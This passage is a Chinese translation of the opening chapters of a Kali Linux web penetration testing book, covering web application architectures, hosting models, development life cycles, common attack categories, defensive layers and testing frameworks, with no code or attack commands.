原文:
annas-archive.org/md5/F7A8D19093C3DEFCEB9810DC24577B59
译者:飞龙
第一章:常见的 Web 应用程序和架构
Web 应用程序对今天的文明至关重要。我知道这听起来很大胆,但当你想到技术如何改变了世界,毫无疑问,全球化是世界各地通过互联网迅速交换信息的原因。虽然互联网是多方面的,但最有价值的组成部分是数据所在的地方。自 1990 年代万维网的出现以来,这些数据已经激增,目前世界上的数据产生量在未来 2 年内将超过所有已记录历史的数据总和。虽然数据库和对象存储是这一庞大数据的主要存储库,但 Web 应用程序是数据进出、被操纵和加工成可操作信息的门户。这些信息以动态方式呈现给最终用户在他们的浏览器中,这种相对简单和便捷是 Web 应用程序不可避免的主要原因。我们对 Web 应用程序如此习以为常,以至于我们中的许多人会发现在没有它们的情况下过几个小时是不可能的。
金融、制造、政府、国防、企业、教育和娱乐机构依赖于 Web 应用程序,这些应用程序使它们能够运作并相互交互。这些无处不在的门户被信任来存储、处理、交换和呈现各种敏感信息和有价值的数据,同时保护它们免受伤害。工业界对这些系统寄予了极大的信任。因此,对这些系统的任何损害或任何信任违反都可能并经常造成深远的经济、政治或身体伤害,甚至可能导致生命的丧失。新闻充斥着每天有关被攻击的 Web 应用程序的突发新闻。每一次攻击都导致信任的丧失,因为数据(从财务和健康信息到知识产权)被窃取、泄露、滥用和披露。公司遭受了无法挽回的损失,患者处于危险之中,职业终结,命运改变。这是沉重的事情!
虽然有许多潜在问题让建筑师、开发人员和运营商感到紧张,但其中许多问题发生的可能性非常低,只有一个重大例外。犯罪和地缘政治行为者以及活动人士对计算系统、网络以及所有连接或利用它们的其他人或事物构成明显的危险。糟糕的编码、不正确的实施或缺少的对策对这些对手来说是一种福音,为他们提供了进入或掩盖其活动的方式。潜在的攻击者看到制造混乱的机会,他们会投入更多、学习、发展新技术,然后实现更雄心勃勃的目标。这种循环不断重复。捍卫网络、系统和应用程序免受这些威胁是一项崇高的事业。
也存在防御性方法,可以帮助减少风险和最小化暴露,但渗透测试人员(也称为白帽黑客)确保它们能够胜任。通过像攻击者一样思考,并使用许多相同的工具和技术,渗透测试人员可以发现设计或实施中的潜在缺陷,并允许应用程序利益相关者填补这些空白,以防止恶意黑客(也称为黑帽黑客)利用它们。安全是一种旅程,而不是目的地,渗透测试人员可以成为引导其他利益相关者走向安全的向导。
在本书中,我假设您是一名对使用 Kali Linux 专门测试 Web 应用程序感兴趣或有经验的渗透测试人员,Kali Linux 是当今最流行的开源渗透测试平台。Kali Linux 及其工具的基本设置和安装在许多其他地方都有介绍,无论是 Packt 自己的《使用 Kali Linux 进行 Web 渗透测试-第二版》(作者 Juned Ahmed Ansari,可在www.packtpub.com/networking-and-servers/web-penetration-testing-kali-linux-second-edition
上找到),还是其他大量的书籍和网站。
在本章中,我们将讨论以下内容:
-
领先的 Web 应用程序架构和趋势
-
常见的 Web 应用程序平台
-
云和私有托管解决方案
-
常见的防御措施
-
本书将评估的架构软点的高层视图
常见的架构
在过去的 15 年里,Web 应用程序发展迅速,从早期的单片设计到分段式方法,更专业的部署实例现在主导市场。它们还在架构元素的托管方式上发生了变化,从纯粹的本地服务器到虚拟化实例,再到纯粹或混合云部署。我们还应该了解客户在这种架构中的角色可能有很大的变化。这种演变改善了规模和可用性,但涉及的额外复杂性和变化性可能会对不那么勤奋的开发人员和运营商产生负面影响。
整体 Web 应用程序的架构可能在物理上、逻辑上或功能上分割。这些类型的分割可能以组合的形式出现;在企业中跨应用程序集成如此普遍,这些边界或特征很可能总是处于过渡状态。这种分割有助于提高可伸缩性和模块化,分割管理领域以匹配人员或团队结构,增加可用性,并且在发生妥协事件时还可以提供一些急需的分割。这种模块化发生的程度以及功能在逻辑上和物理上如何分割,很大程度上取决于所使用的框架。
让我们讨论一些常用的逻辑模型以及一些突出的这些模型所实施的框架。
独立模型
大多数小型或临时网络应用程序在某个时候都托管在物理或虚拟服务器上,并且在单个单片安装中,这在简单的自托管应用程序中经常遇到,比如小型或中型企业网页、库存服务、售票系统等。随着这些应用程序或其相关数据库的增长,有必要将组件或模块分开,以更好地支持规模并与相邻的应用程序和数据存储集成。
这些应用程序倾向于使用常见的现成的 Web 框架,如 Drupal、WordPress、Joomla!、Django 或其他多种框架,每个框架都包括内容交付管理器和语言平台(例如 Java、PHP:超文本预处理器(PHP)、Active Server Pages(ASP.NET)等),以超文本标记语言(HTML)生成内容,并支持数据库类型或它们支持的类型(各种服务器查询语言(SQLs)、Oracle、IBM DB2,甚至平面文件和 Microsoft Access 数据库)。作为单个图像或安装介质,所有功能都驻留在同一操作系统和内存空间中。为这个模型选择的平台和数据库组合往往更多是开发人员的能力和偏好的问题。对负责团队进行社会工程和开源信息收集肯定会有助于描述 Web 应用程序的架构。
下图显示了一个简单的单层或独立架构:
独立架构在历史上是首次遇到的,并经常是任何应用程序演变的第一步。
三层模型
在概念上,三层设计仍然被用作参考模型,即使大多数应用程序已经迁移到其他拓扑结构或尚未从独立实现中演变出来。虽然许多应用程序现在偏离了这个经典模型,但我们仍然发现它对于理解真实世界应用程序所需的基本设施是有用的。我们称之为三层模型,但它还假设了第四个未命名的组件:客户端。
三层包括 Web 层(或前端)、应用层和数据库层,如下图所示:
三层架构提供了现代企业应用程序所需的更大的可伸缩性和专业化。
考虑每个层的角色是很重要的:
-
Web 或呈现层/服务器/前端:该模块提供用户界面(UI)、身份验证和授权、扩展规定以适应大量用户、高可用性功能(处理负载转移、内容缓存和容错能力)以及必须为客户端提供的任何软件服务或用于与客户端通信的服务。HTML、可扩展标记语言(XML)、异步 JavaScript 和 XML(AJAX)、通用样式表(CSS)、JavaScript、Flash、其他呈现的内容和 UI 组件都驻留在这一层,通常由 Apache、IBM WebSphere 或 Microsoft IIS 托管。实际上,这一层是用户通过其浏览器看到并与之交互以请求和接收其所需结果的地方。
-
应用程序或业务层/服务器:这是 Web 应用程序的引擎。由 Web 层处理的请求在这里执行,这是业务逻辑、流程或算法所在的地方。这一层还充当了多个数据库或甚至同一组织内或受信任的第三方应用程序的桥接模块。C/C++、Java、Ruby 和 PHP 通常是用来处理繁重工作并将数据库层的原始数据转换为 Web 层向客户端呈现的信息的语言。
-
数据库层/服务器:各种形式的大量数据存储在称为数据库的专门系统中。这些信息宝库被安排得可以快速访问,但不断扩展。经典的 SQL 实现,如 MySQL 和 ProstgreSQL,Redis,CouchDB,Oracle 等,通常用于存储数据,以及大量的抽象工具帮助组织和访问数据。在数据收集和处理的高端,有越来越多的超标量数据库架构,涉及不仅仅是 SQL(NoSQL),它与 Hadoop 等数据库抽象软件相结合。这些通常出现在声称是大数据或数据分析的任何东西中,如 Facebook,Google,NASA 等。
-
客户端:所有三个层都需要受众,而客户端(更具体地说,他们的浏览器)是用户访问应用程序并进行交互的地方。浏览器及其插件软件模块支持 Web 层以按照应用程序开发人员的意图呈现信息。
供应商拿到这个模型并对其进行修改,以突出他们的优势或更贴近他们的策略。例如,甲骨文和微软的参考 Web 应用程序架构将 Web 和应用程序层合并为一个层,但甲骨文着重于其在数据库方面的优势,而微软则大力扩展其附加服务列表,以增加对客户的价值(并为微软带来收入),包括负载平衡、认证服务以及与其自己操作系统在全球大多数客户端的联系。
模型-视图-控制器设计
模型-视图-控制器(MVC)设计是一个功能模型,指导信息和暴露的分离,并在一定程度上也解决了利益相关者用户通过角色分离的特权。这使应用程序能够使用户及其输入与后端业务流程、逻辑和交易分离,从而避免了早期架构中的数据泄漏。MVC 设计方法实际上是由厚应用软件开发人员创建的,并不是服务和组件的逻辑分离,而是基于角色的分离。现在,Web 应用程序通常必须在跟踪和执行角色的同时进行扩展,Web 应用程序开发人员已经将其适应了他们的使用。MVC 设计还促进了代码重用和并行模块开发。
MVC 设计可以在以下图中看到:
模型-视图-控制器设计侧重于角色,而不是功能,并经常与功能架构结合在一起。
在 MVC 设计中,这四个组件如下:
-
模型:模型作为应用程序的真相源,维护和更新数据对象,具有使应用程序有价值的规则,逻辑和模式。它不了解用户,而是接收来自控制器的调用,以处理对其自身数据对象的命令,并将结果返回给控制器和视图。另一种看待它的方式是,模型决定了应用程序的行为。
-
视图:视图负责向用户呈现信息,因此负责内容传递和响应:从控制器接收反馈和从模型接收结果。它构建用户查看和交互的界面。视图是用户看到应用程序工作的地方。
-
控制器: 控制器充当视图和模型之间的中央链接;在接收来自视图用户界面的输入时,控制器将这些输入调用转换为模型执行的请求。这些请求可以更新模型并执行用户的意图,或者更新向用户呈现的视图。控制器是使应用程序交互的部分,允许外部世界刺激模型并改变视图。
-
用户: 与早期模型一样,用户是设计的一个推断组件;事实上,整个设计将围绕如何使应用程序向客户提供价值展开。
请注意,在 MVC 模型中,对软件模块的细节很少给出,这是有意为之的。通过专注于角色和职责的分离,软件(现在是 Web)开发人员可以自由地创建自己的平台和架构,同时使用 MVC 作为基于角色的分割的指南。将这与独立或 3 层模型对应,我们会发现它们以非常不同的方式思考同一件事。
MVC 确实灌输了一种状态感,这意味着应用程序需要跟踪会话信息以保持连续性。这种连续性驱使了对 HTTP cookie 和令牌的需求,以跟踪会话,这本身就是我们的应用开发人员现在应该找到安全方式来保护的东西。大量使用应用程序编程接口(API)也意味着现在有更大的攻击面。如果应用程序只呈现数据库层中存储的一小部分数据,或者应该更有选择地填充信息以避免泄漏,通过在模型中保留太多信息,当配置错误或遭到侵犯时可以访问。在这些情况下,MVC 通常被视为一种方法论,因为在其中管理数据曝光可能会很困难。
需要注意的是,MVC 设计方法可以与功能的物理或逻辑模型相结合;实际上,使用一些 MVC 设计原则的平台支持大多数当今的 Web 应用程序。
Web 应用程序托管
应用程序或其模块的位置直接影响我们作为渗透测试人员的角色。目标应用程序可以位于从物理到虚拟,到云托管组件,或三者的组合的连续体上的任何位置。最近,第四种可能性已经出现:容器。主机选项的连续体及其相对规模和安全属性如下图所示。请记住,这里显示的日期与每种可能性的流行度上升有关,但任何主机可能共存,事实上,容器可以在云端或本地数据中心中同样良好地托管。
这种演变在以下图中可以看到:
主机选项已经发展,以更好地支持灵活和动态的部署-大多数客户在多个地方部署。
物理主机
多年来,应用程序架构和设计选择只需考虑物理的、基本的主机来运行架构的各个组件。随着 Web 应用程序的扩展和整合专门的平台,需要添加额外的主机来满足需求。随着数据集变得更加多样化,需要添加新的数据库服务器,需要添加额外的应用程序服务器来整合额外的软件平台,等等。劳动力和硬件资源都专门用于每个额外的实例,但它们增加了成本、复杂性和浪费到数据中心。工作负载依赖于专用资源,这使它们既脆弱又不灵活。
虚拟主机
虚拟化已经大大改变了这一范式。通过允许硬件资源被汇集并逻辑地分配给多个客户系统,一个硬件资源池可以包含所有不同的操作系统、应用程序、数据库类型和其他应用程序必需品,这些都在同质化的服务器池中提供了集中管理,并以优先方式动态分配接口和设备给多个组织。特别是 Web 应用程序受益于此,因为虚拟化的灵活性提供了创建并行应用程序环境、数据库克隆等的手段,用于测试、质量保证和增加容量。由于系统管理员现在可以在相同的资源池上管理多个工作负载,硬件和支持成本(例如电力、楼层空间、安装和配置)也可以减少,假设许可成本不会抵消固有的效率。许多应用程序仍然在虚拟的本地环境中运行。
注意
值得注意的是,虚拟化还引入了应用程序、系统管理和网络团队之间的新紧张关系,责任的转移涉及到安全相关方面。因此,职责可能不清楚,没有得到适当履行,甚至没有被考虑到。听起来像是一个很好的渗透测试机会!
云托管
亚马逊在 2006 年将托管虚拟工作负载的概念推进了一步,并引入了云计算,微软 Azure 和其他公司随后也跟进。通过互联网提供高度可靠的基础设施,承诺提供即插即用的软件即服务(SaaS)使公司能够构建应用程序,而无需投资于硬件、带宽,甚至房地产。云计算应该取代私有云(传统的本地系统),确实有一些组织已经实现了这一点。然而,主要趋势是大多数企业在私有云和公共云之间看到应用程序的分裂,这取决于这些服务的类型和稳定的需求。
容器-一种新趋势
容器提供了并行或替代的打包方式;与虚拟机中包含整个操作系统和模拟硬件不同,容器只带来它们的独特属性,并共享这些常见的附属和功能,使它们更小更灵活。这些特点使得像谷歌和 Facebook 这样的大公司能够实时扩展到用户的激增需求,响应时间为微秒,并完全自动化容器工作负载的生成和销毁。
那么,这对我们意味着什么?Web 应用程序的位置和打包方式影响其安全姿态。通常,私有云和公共云托管的应用程序将与可能跨越两个域的其他应用程序进行集成。这些集成点提供了潜在的威胁向量,必须进行测试,否则它们肯定会成为攻击目标。云托管的应用程序也可能受益于由服务提供商托管或提供的保护,但它们也可能限制防御选项和支持的 Web 平台的多样性。了解这些限制可以帮助我们专注于我们的探测和消除不必要的工作。托管范式还决定了我们所遇到的防御者和操作者团队的构成。云托管公司可能拥有更有能力的安全运营中心,但应用程序安全责任的分工可能导致情报的分散,并提供可以用来利用目标的空白。可用的虚拟化和操作系统也将影响应用程序平台的选择、周围的安全机制等等。
应用程序开发周期
应用程序开发人员遵循有助于按计划和预算保持进展的流程。每个开发应用程序的公司无疑都会有自己的流程,但这些流程的共同元素将是各种阶段:从构思到交付/运营以及任何所需的审查、可交付物期望、测试流程和资源需求。
Web 应用程序中常用的开发流程是应用程序或软件开发生命周期(SDLC),如下图所示,摘自commons.wikimedia.org/wiki/File:SDLC_-_Software_Development_Life_Cycle.jpg
:
每个现代应用程序开发人员都遵循 SDLC 或类似的流程。
无论公司的发展过程中定义了什么阶段,都很重要在每个阶段都加入测试,包括渗透测试,以在尽可能成本效益的阶段减轻风险。
我曾见过政府开发项目由于在周期早期不考虑安全和安全测试而迅速超支。在这些项目中,项目管理通常推迟了任何安全测试,直到产品离开实施阶段,认为测试阶段是为了包含所有验证活动。在这个阶段捕捉错误、缺陷或安全漏洞需要大量的重做、重新设计或解决方案,严重影响了进度和预算。
与开发团队协调
减轻威胁和影响整体进度的成本是早期测试的最基本原因,通常是开发周期的一部分。如果您是在多学科团队中工作的测试人员,早期协调的渗透测试可以消除缺陷并在它们变得具体和昂贵之前解决安全问题。渗透测试要求应该是任何验证和验证测试计划的一部分。此外,开发团队应在需求和设计阶段全程包括应用程序安全专家,以确保应用程序设计时考虑了安全性,这是 Web 应用程序渗透测试人员很擅长提供的视角。
有来自组织如 OWASP(www.owasp.org/index.php/Testing_Guide_Introduction)
)、SANS(www.sans.org)
)和美国计算机紧急响应小组(www.us-cert.gov/bsi/articles/best-practices/security-testing/adapting-penetration-testing-software-development-purposes)
)的参考资料,可以帮助指导渗透测试流程适应公司自己的开发周期。这种早期和经常性策略的价值应该很容易向管理层表达,但针对特定 Web 应用程序漏洞和安全风险的具体建议可以在安全报告中找到,例如由 WhiteHat Security, Inc.准备的报告(info.whitehatsec.com/rs/675-YBI-674/images/WH-2016-Stats-Report-FINAL.pdf
),以及来自 Verizon、Cisco、戴尔、麦克风和赛门铁克等大公司。在整个开发过程中,必须有公司赞助,以确保网络安全得到充分和持续的考虑。
部署后-持续警惕
测试不应该只是为了“打勾”而完成一次,然后不再重访。Web 应用程序很复杂;它们重复使用了大量由各种组织和项目贡献的代码库。近年来,漏洞的数量显然有所增加,2014 年和 2015 年是攻击常见开源库非常活跃的一年。诸如 Heartbleed、SSLPoodle 和 Shellshock 等攻击都利用了这些开源库,这些库在某些情况下支持了当今超过 80%的 Web 应用程序。管理员可能需要数年时间来升级服务器,而随着已记录的弱点数量不断增加,跟进可能会很困难。例如,2016 年是 Adobe Flash、Microsoft Internet Explorer 和 Silverlight 漏洞的一年。对于整个社区来说,不可能监督每一种基本构件的使用情况,而 Web 应用程序的所有者可能根本不知道这些模块被包含在其中。
同一组测试的应用程序应该在定期间隔内继续进行分析,以确定它们随时间的风险暴露。同样重要的是要确保尽可能经常地使用不同的测试方法,如果可能的话,使用不同的团队,以确保考虑到所有角度。这种测试有助于通过在测试和演进阶段提供所需的安全反馈来完成 SDLC,以确保应用程序不仅可以整合新功能,而且可以在潜在攻击者之前发展一步。强烈建议您建议您的客户资助或支持这种测试,并雇佣内部和一些外部测试团队,以便这些发现能够像功能增强一样进入补丁和修订计划。
常见弱点 - 从哪里开始
Web 应用程序渗透测试侧重于对应用程序、软件框架和平台进行彻底评估。Web 渗透测试已经发展成为一个专门的学科,与网络、无线或客户端(恶意软件)测试分开。我们很容易理解为什么最近的趋势表明几乎 75%的报告的网络攻击都集中在 Web 应用程序上。如果我们从黑客的角度来看,这是有道理的:
-
门户和工作流程非常定制化,在开发过程中隔离它们免受所有矢量的影响并不是一件小事。
-
Web 应用程序必须向外部世界开放,以使用户能够真正使用它们。过多的安全性被视为负担,可能会成为开展业务的潜在障碍。
-
防火墙和入侵系统在防范基于网络的攻击方面非常有效,但不一定参与 Web 门户的交付。
-
这些应用程序向外部用户呈现可能是专有或敏感的数据。他们的工作就是利用这种信任来暴露大量高价值信息。
-
Web 应用程序攻击通常可以在没有基于文件的侵入的情况下暴露整个数据库,使归因和取证变得更加困难。
本章的大部分内容旨在向您介绍目标的架构方面。对客户应用程序的深入了解将使您能够将精力集中在最有意义的测试上。
让我们再次看一下典型的 3 层应用程序架构(如下图所示*),看看我们应该调查的潜在问题:
有害的 Web 应用程序攻击侧重于应用程序架构的各个方面 - 我们也应该如此。
这些潜在的向量是我们将进行测试的一些主要威胁;在某些情况下,我们将包括一系列类似的攻击类型。它们显示了它们在典型的 3 层设计中的典型位置,攻击通常会生效,但攻击者本身通常位于公共 Web 层,很像合法客户端。随着我们的讨论,我们将按以下方式对我们将讨论的攻击类型进行分组:
-
身份验证、授权和会话管理攻击:这些攻击(以及我们的测试)侧重于应用程序本身验证特定用户的身份并强制执行特权的严格程度。这些测试将专注于说服 Web 层我们属于这个对话。
-
跨站脚本(XSS)攻击:XSS 攻击涉及操纵客户端或 Web 和/或应用程序层,将有效会话的流量或注意力转向敌对位置,这可以使攻击者通过脚本利用有效客户端。劫持尝试通常也属于这一类别。
-
注入和溢出:各种攻击在 3 层设计中的各个位置找到机会,强迫应用程序在测试范围之外工作,通过注入代码,这可能是底层模块允许的,但应用程序的实施应该禁止。大多数这些注入(SQL、HTML、XML 等)可以迫使应用程序泄露不应该允许的信息,或者它们可以帮助攻击者找到管理特权,以便自己发起简单的转储。
-
中间人(MITM)攻击:会话劫持是黑客或测试人员在不被任何一方知晓的情况下拦截会话的一种方式。在这样做之后,黑客有能力操纵或模糊请求和响应,以操纵一方或双方,并揭示比合法用户实际寻求或有权获得的更多数据。
-
应用程序层攻击:一些应用程序未配置正确验证输入,无论是在验证操作输入方式还是在授予文件访问权限方面。通常也会看到应用程序在强制执行真正基于角色的控制方面存在不足;特权升级攻击经常发生,使黑客可以为所欲为。
Web 应用程序防御
如果我们退一步思考客户所面临的问题,真的是令人震惊。构建安全的 Web 应用程序和网络就像建造核反应堆一样。没有细节是微不足道的,所以即使设计和实施中存在很多优点,一个微小的失败(裂缝、弱焊接或微小的污染)也可能意味着失败。同样的真相也影响着 Web 应用程序安全 - 只有一个缺陷,无论是在众多组件中的配置错误或遗漏,都足以为攻击者提供足够的空隙,通过这个空隙可以造成巨大的破坏。再加上这个额外的问题,这些积极的防御措施在许多环境中被依赖于帮助检测这些罕见事件(有时被称为黑天鹅事件)。网络和应用程序管理员的工作很艰巨,我们的目的是帮助他们和他们的组织更好地完成这项工作。
Web 应用程序框架和平台包含条款来帮助确保它们免受恶意行为者的侵害,但它们很少单独部署在生产系统中。我们的客户通常会部署网络防御系统,这些系统还可以增强其应用程序的保护、意识和抵抗攻击的能力。在大多数情况下,客户将与更多的元素关联起来,以提供更深层次的防御,并假设更高水平的保护。与其应用平台提供的措施一样,这些额外的系统只有在负责安装、配置、监视和将这些系统整体地整合到架构中的流程和人员负责时才能发挥作用。最后,鉴于这些应用在企业中的特殊地位,客户的各种利益相关者很可能已经采取了错误的解决方案来防范我们将要测试的攻击形式。我们必须努力评估目标并教育客户。
标准防御元素
那么,系统的哪些元素适合在这里?以下图显示了与 3 层设计相关的 Web 应用程序路径中涉及的最常见元素:
大多数严肃的 Web 应用程序将包括防御措施来阻止我们的努力,但所有安全元素的有效性都取决于它们的最新补丁、配置和监视操作员。
典型 Web 应用程序防御的关键外部元素包括:
-
防火墙(FW):安全方面的第一个重点元素通常是边界或互联网边缘防火墙,负责执行各种访问控制和策略,以减少企业的整体攻击面,包括 Web 应用程序。防火墙市场的最新进展已经看到防火墙成为下一代防火墙(NGFW),其中这些策略不再由严格的源和目的端口和 IP 地址对定义,而是以上下文方式,包括对话中的用户或组,地理位置,声誉或外部参与者的类别,以及对话的应用或目的。
-
负载均衡器:许多规模化设计依赖于负载均衡器来将工作负载无缝分配给一组 Web 服务器。虽然这样做是为了使应用程序能够接触更多用户,但这个功能通常与一些类似代理的功能相对应,可以隐藏实际的 Web 层资源,使黑客无法窥视。一些负载均衡器解决方案还包括面向安全的服务,除了它们的虚拟 IP 或反向代理功能。在功能上,它们可能包括 Web 应用程序防火墙功能。负载均衡器在帮助提供分散式拒绝服务(DDoS)保护方面也很重要,可以分散、转移或吸收恶意流量负载。
-
Web 应用程序防火墙(WAF):WAF 提供应用层检查和防止攻击,以确保我们在本书中将尝试的许多利用要么不可能要么难以执行。这些防火墙与边界的网络防火墙不同,因为它们只检查 HTTP/HTTPS 流量以防范攻击。WAF 往往非常依赖签名,并必须与其他防御解决方案结合使用,以提供其他向量的覆盖。
额外的层
在上述图表中未显示的是可能作为防御措施的其他措施,这些措施可以作为防火墙的功能或独立地在环境的一个或多个阶段运行。各种供应商在各种市场类别和能力集中推广这些解决方案。尽管品牌可能有所不同,但它们可以分为几个主要类别:
-
入侵检测/防范系统(IDS/IPS):这些关键元素为企业提供深度数据包检查功能,以检测原子和基于模式的(异常)威胁。在经典实施中,这些对于 Web 应用程序几乎没有价值,因为它们缺乏对黑客用来发起常见 Web 应用程序攻击的看似有效有效负载的各种操纵的洞察。下一代 IPS(NGIPS)可能会提供更多的保护,因为它们不仅处理经典的 IDS/IPS 算法,还结合上下文和滚动基线来识别异常交易或交互。这些工具也可以集成在网络防火墙或环境的各个层之间。更新的 NGIPS 技术可能具有检测常见 Web 漏洞的能力,这些工具在保护使用未打补丁或配置错误的软件模块的目标系统方面表现出了巨大的价值。
-
网络行为分析(NBA):这些工具利用网络元素的元数据来查看趋势并识别异常行为。从 Syslogs 和流量源(Neflow/IPFIX、sFlow、jFlow、NSEL 等)获取的信息不会提供 IPS 可以获取的同样深入的数据包信息,但从网络中的许多流中获取的趋势和模式可以提示操作员存在非法提升凭证的行为。在 Web 应用程序中,更严重的特权攻击可能会被 NBA 工具识别出来,以及文件和目录抓取攻击。
提到的所有组件都可以以多种形式实施:从各种物理设备类型到虚拟机到云服务。更复杂的 Web 应用程序通常会差异化地使用多个层,以提供更强大的抵御攻击的能力,以及为地理上分散的托管站点提供全面的功能。例如,一家公司可能有 10 个地点,全球负载平衡以为客户提供服务。在这种情况下,基于云的负载均衡器、WAF 和防火墙可能提供第一层防御,而每个数据中心可能有额外的层,不仅提供本地 Web 应用程序保护,还提供特定于该站点的其他关键服务。
注意
组合是无限的,但请记住,随着部署的安全解决方案复杂性的提高,它们被配置错误的可能性也会增加。我们的侦察工作和随后的渗透测试计划需要考虑这些变量。
总结
由于这是一本关于精通Kali Linux 以进行 Web 应用程序渗透测试的书,也许会让人惊讶,我们从架构、安全元素等基础主题开始。我希望涵盖这些主题将帮助我们区别于通常进行渗透测试但提供最小价值的脚本小子。任何人都可以启动 Kali Linux 或其他发行版并开始黑客攻击,但没有这个基础,我们的测试可能会不完整或不准确。我们的有利就业取决于实际帮助客户推动他们的网络达到(商定的)极限,并帮助他们发现他们的弱点。同样,我们还应该向他们展示他们做得对。黑山信息安全公司的所有者和分析师约翰·斯特兰德喜欢说
我们应该努力在表现出色后被抓住
.Â
虽然工具和基础协议的知识通常是严肃黑客与新手之间的区别,但也是对他们的目标和所提供服务的深度的了解。如果我们只是为客户运行脚本并报告明显的问题,那么我们就错过了成为雇佣渗透测试人员的要点。是的,关键缺陷需要解决,但看似较小的问题也需要解决。专家才能发现潜在的缺陷,即使现在不影响性能,但将在以后导致重大灾难。这不仅适用于发电厂,也适用于我们的 Web 应用程序。我们需要不仅向他们展示他们自己可以看到的东西,还要进一步帮助他们防范明天的攻击。
在本章中,我们讨论了一些架构概念,这些概念可能帮助我们更好地了解我们的目标。我们还讨论了客户可以采取的各种安全措施,我们需要意识到这些措施,既要规划我们的攻击,也要测试其有效性。我们的讨论还涵盖了在应用程序的整个生命周期中进行测试的重要性。这样做既节省时间和金钱,也可以在应用程序投入生产后保护声誉并最小化风险。这些考虑应该使渗透测试人员成为任何开发团队的重要和永久成员。
在我们的下一章中,我们将简要讨论如何准备一个功能齐全的沙盒环境,可以帮助我们练习测试概念。我们还将讨论可以帮助我们提供全面测试覆盖的主要测试框架。最后,我们将讨论合同以及我们工作的道德和法律方面;避免入狱是一个关键目标。
第二章:准备和测试的指导方针
了解目标应用程序的构建方式,如第一章中所讨论的常见 Web 应用程序和架构,将有助于我们进行比肩式渗透测试。所有这些理解都可能是一把双刃剑。更复杂的应用程序可能会让技术上最熟练的测试人员感到不知所措。在测试时,我们需要确保覆盖所有需求范围。也许会有诱惑在现场进行测试,但如果您和我一样,我们需要有一个计划。拥有严格的流程和深入理解的规则将有助于我们向客户提供一致、有价值的信息。这种额外的正式对待也将确保我们完全覆盖了与客户达成一致的范围。
这些计划可以作为客户流程的一部分存在,也可以作为我们通过合同带来的东西 - 我们可能是内部员工和承包商,也可能是外部顾问。在第一种情况下,您可能被要求针对自己雇主的环境或产品进行测试。在这种情况下,您的命令可能会源自内部流程或项目要求。管理层下达的临时测试并不罕见,但请确保范围和流程经过正式协议以确保所有各方受到保护。在后一种情况下,您或您的雇主可能被客户聘请进行测试。在这些情况下,范围、工作声明(SOW)和合同作为一个整体,都需要由双方审核,以确保边界得到保护。
在整个过程中,牢记我们在那里的原因 - 我们在那里是为了帮助客户,而不是羞辱或展示他们的员工。无论您参与测试是受邀还是受命,道德黑客社区都应该赞扬那些接受测试的组织,因为有一天也许是我们个人的数据或财务状况岌岌可危。让我们尽力确保我们不会成为明天的受害者。
在本章中,我们将讨论以下内容:
-
我们可以借鉴和修改一些全面的测试框架,以供我们自己使用
-
可以指导我们行为的道德和法律原则
-
关于建立实验室和经过批准的目标,以练习我们将在本书中探索的测试技能的指导
选择你喜欢的测试框架
在建立渗透测试和特别是 Web 应用程序渗透测试领域的领导地位的竞争中,出现了一些组织、公司和委员会。其中一些组织提供了一个与产品无关的方法,而其他人则毫不掩饰地推动他们推荐的渗透测试方法或框架。这种测试框架的内容和格式将有很大的变化,因此我们需要筛选选项,看哪一个更合理。
政府支持的中心和机构,如美国计算机紧急应对团队(US CERT)、国家标准与技术研究所(NIST)的计算机安全资源中心(CSRC),以及新成立的欧洲网络与信息安全局(www.enisa.europa.eu
),往往专注于为防御者提供指南,提供了一些指导,可以转化为测试要求和重点领域。
因此,回到潜在的路径;选择一个框架通常取决于个人的舒适区和对程序或视角的熟悉程度。对于许多行业来说,合规性和法规也将驱动选择。没有正确的答案,但选择可能会对架构产生影响,并在最终结果中产生优势和劣势。许多时候,我们自己的培训预算、时间表、产品组合和背景将决定我们如何达到我们的过程。我们可能通过认证轨道、项目关联或通过雇主的有机方式来达到目标。让我们来看看一些最流行的方法。
通过产品框架
这是一本关于 Kali Linux 的书,但值得一提的是,有许多产品试图实现一体化的 Web 渗透测试。其中一些产品非常精心制作和维护,而其他产品近年来已经被忽视,但仍然有支持者,基于其独特的功能集或界面。
Kali Linux 本身有一些工具套件,它可以提供全面的测试生命周期覆盖。以下是一些更常见的选项列表:
-
IronWASP (
ironwasp.org/index.html
):这个免费的开源软件包可以在 Mac 和 Windows 上运行,或者在 Linux 上运行 WINE,并且具有大量出色的开箱即用功能。然而,它真正强大的地方在于,你可以编写自己的模块,或者借用别人用 VB.NET、C#、Ruby 或 Python 编写的模块,使工具成为你自己的!它的网站提供了精心制作的详细视频,向您展示工具的功能。 -
Veracode (
www.veracode.com/products/dynamic-analysis-dast/web-application-security-testing
):一个新的进入领域的 SaaS 产品 Veracode,用于执行基于云的 Web 应用程序渗透测试。 -
IBM Security AppScan (
www-03.ibm.com/software/products/en/appscan
):这个全能的 Web 和移动应用程序测试套件可以自动报告合规性、漏洞和建议的修复措施。它是大型企业的受欢迎的本地选项,并为软件开发生命周期(SDLC)的所有阶段提供解决方案。最近,他们开始提供云托管变体。IBM 的解决方案也因其与类似安全和开发生态系统的集成而脱颖而出。他们通过其系统事件和事件管理器(SEIM)、QRadar 以及其面向 Web 的 IDS/IPS 产品和代码开发平台组合之间的协同作用提供差异化。 -
Rapid7 appspider (
www.rapid7.com/products/appspider/
):IBM 专注于自己的生态系统,而 Rapid7 具有类似的能力套件,但专注于与技术合作伙伴的集成。Appspider 能够做很多相同的事情,但它专注于与 DevOps 工具和全面的 SEIM、IDS/IPS 和 WAF 工具集成。它甚至可以自动化修补程序,重放攻击,并自动生成规则;在速度、覆盖范围和可用性方面是顶尖表现者。 -
HP WebInspect (
www8.hp.com/us/en/software-solutions/webinspect-dynamic-analysis-dast/
):与 IBM 的产品类似,WebInspect 非常专注于单一供应商方法,涵盖安全、开发、编码、渗透测试和补救措施。这种解决方案的成本和复杂性使其更适合内部分析,而不适合外部渗透测试人员。 -
Acunetix(
www.acunetix.com
):与 IBM、Rapid7 和 HP WebInspect 不同,Acunetix 网络漏洞扫描仪专注于渗透测试支持和报告,而不涉及自动化规则和修补。这并不是一件坏事;它所做的事情,它做得很好;通常在外部渗透测试人员工作时,这些功能是不被使用的。Acunetix 提供丰富的报告,并经常在效力、覆盖范围和功能方面名列前茅。
像你玩一样训练
认证是一个很好的手段,可以让你攀登学习曲线,开启你的网络渗透测试职业生涯。如果你正在阅读这本书,很可能你已经掌握了其中一个或多个专业认证。大多数认证蓝图都会引导道德黑客通过测试的流程,这与洛克希德·马丁的网络攻击链®(www.lockheedmartin.com/us/what-we-do/aerospace-defense/cyber/cyber-kill-chain.html
